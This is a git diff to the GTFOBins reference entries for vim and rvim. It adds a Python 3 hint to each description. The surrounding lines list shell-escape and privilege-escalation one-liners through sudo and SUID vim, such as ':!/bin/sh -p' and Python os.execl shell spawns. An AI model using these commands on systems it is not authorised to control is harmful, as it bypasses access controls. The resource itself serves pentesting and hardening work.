diff --git a/_gtfobins/rvim.md b/_gtfobins/rvim.md index 1ae6056..218365a 100644 --- a/_gtfobins/rvim.md +++ b/_gtfobins/rvim.md @@ -1,10 +1,10 @@ --- functions: shell: - - description: This requires that `rvim` is compiled with Python support. + - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' file-write: - - description: This requires that rvim is compiled with Python support. + - description: This requires that rvim is compiled with Python support. Prepend `:py3` for Python 3. code: | rvim file_to_write iDATA @@ -13,9 +13,9 @@ functions: file-read: - code: rvim file_to_read suid: - - description: This requires that `rvim` is compiled with Python support. + - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. code: ./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' sudo: - - description: This requires that `rvim` is compiled with Python support. + - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. code: sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' --- diff --git a/_gtfobins/vim.md b/_gtfobins/vim.md index 9e2ea11..66cf402 100644 --- a/_gtfobins/vim.md +++ b/_gtfobins/vim.md @@ -6,7 +6,7 @@ functions: vim :set shell=/bin/sh :shell - - description: This requires that `vim` is compiled with Python support. + - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. code: vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' file-write: - code: | @@ -18,10 +18,10 @@ functions: - code: vim file_to_read suid: - code: ./vim -c ':!/bin/sh -p' - - description: This requires that `vim` is compiled with Python support. + - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' sudo: - code: sudo vim -c ':!/bin/sh' - - description: This requires that `vim` is compiled with Python support. + - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. code: sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' ---